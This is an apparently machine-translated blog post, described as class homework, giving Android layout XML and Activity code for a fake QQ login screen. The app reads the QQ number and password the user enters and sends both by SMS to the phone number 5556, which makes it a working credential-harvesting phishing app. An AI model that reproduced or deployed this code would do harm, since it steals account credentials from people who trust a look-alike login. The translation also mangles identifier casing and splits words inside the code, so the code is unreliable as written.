I'm going to be ready to go for no more than three days, so I'll summarize my previous information.
This is all the homework done in class.
Well, nonsense less, directly on the code.
Steps:
1. Set the Click event
2. Get the QQ number and password entered
3. Determine if the input gets content is empty, give the user prompt toast prompt, not empty to continue
4. Using SMS Manager, is a singleton class Smsmanager.getdefault () to get
5. Send QQ number and password
Layout:
<linearlayout xmlns:android= "http://schemas.android.com/apk/res/android" xmlns:tools= "http// Schemas.android.com/tools "android:layout_width=" match_parent "android:layout_height=" Match_parent "a Ndroid:gravity= "Center_horizontal" android:orientation= "vertical" android:paddingbottom= "@dimen/activity_ver Tical_margin "android:paddingleft=" @dimen/activity_horizontal_margin "android:paddingright=" @dimen/activity_ Horizontal_margin "android:paddingtop=" @dimen/activity_vertical_margin "tools:context=". Mainactivity "> <imageview android:background=" #09A3DC "android:layout_width=" Match_par Ent "android:layout_height=" wrap_content "android:src=" @drawable/qq "/> <!--enter QQ number--& Gt <edittext android:id= "@+id/et_qqnumber" android:layout_width= "Match_parent" Android:la yout_height= "Wrap_content" android:layout_margintop= "20DP" android:hint= "Please enter QQ number:" Android:inputtype= "numbersigned"/> <!--enter QQ secret Yards--<edittext android:id= "@+id/et_qqpassword" android:layout_width= "Match_parent" android:layout_height= "Wrap_content" android:layout_margintop= "20DP" android:hint= "Please enter the QQ password:" Android:inputtype= "Textpassword"/> <button android:id= "@+id/btn_login" Android:layout_width= "Match_parent" android:layout_height= "Wrap_content" android:layout_margintop= "2 0DP "android:textcolor=" #ffffff "android:background=" #09A3DC "android:text=" Login "/> & Lt;/linearlayout>
Activity:
public class Mainactivity extends Activity {EditText et_qqnumber; EditText Et_qqpassword; Button Btn_login; @Override protected void OnCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (R.layout.activity_main); Et_qqnumber= (EditText) Findviewbyid (R.id.et_qqnumber); Et_qqpassword= (EditText) Findviewbyid (R.id.et_qqpassword); Btn_login= (Button) Findviewbyid (R.id.btn_login); Btn_login.setonclicklistener (New Onclicklistener () {@Override public void OnClick (View v) { 2. Get input QQ number with password String QQ = Et_qqnumber.gettext (). toString (). Trim (); String password = Et_qqpassword.gettext (). toString (). Trim (); 3. Determine if the input gets content is empty, give the user prompt toast prompt, not empty to continue if (Textutils.isempty (QQ) | | Textutils.isempty (password)) {ToasT.maketext (Mainactivity.this, "QQ number or password can not be empty!") ", Toast.length_short). Show (); return; }//4. Using SMS Manager, is a singleton class Smsmanager.getdefault () to get Smsmanager manager = Smsmanager.get Default (); 5. Send QQ number and password String message= "QQ:" +qq+ ", pwd:" +password; Manager.sendtextmessage ("5556", NULL, message, NULL, NULL); /* Separate SMS arraylist<string> dividemessage = manager.dividemessage (message ); for (String str:dividemessage) {manager.sendtextmessage ("5556", NULL, str, NULL, NULL); }*/ } }); } }
Android Get input user name and password to send text messages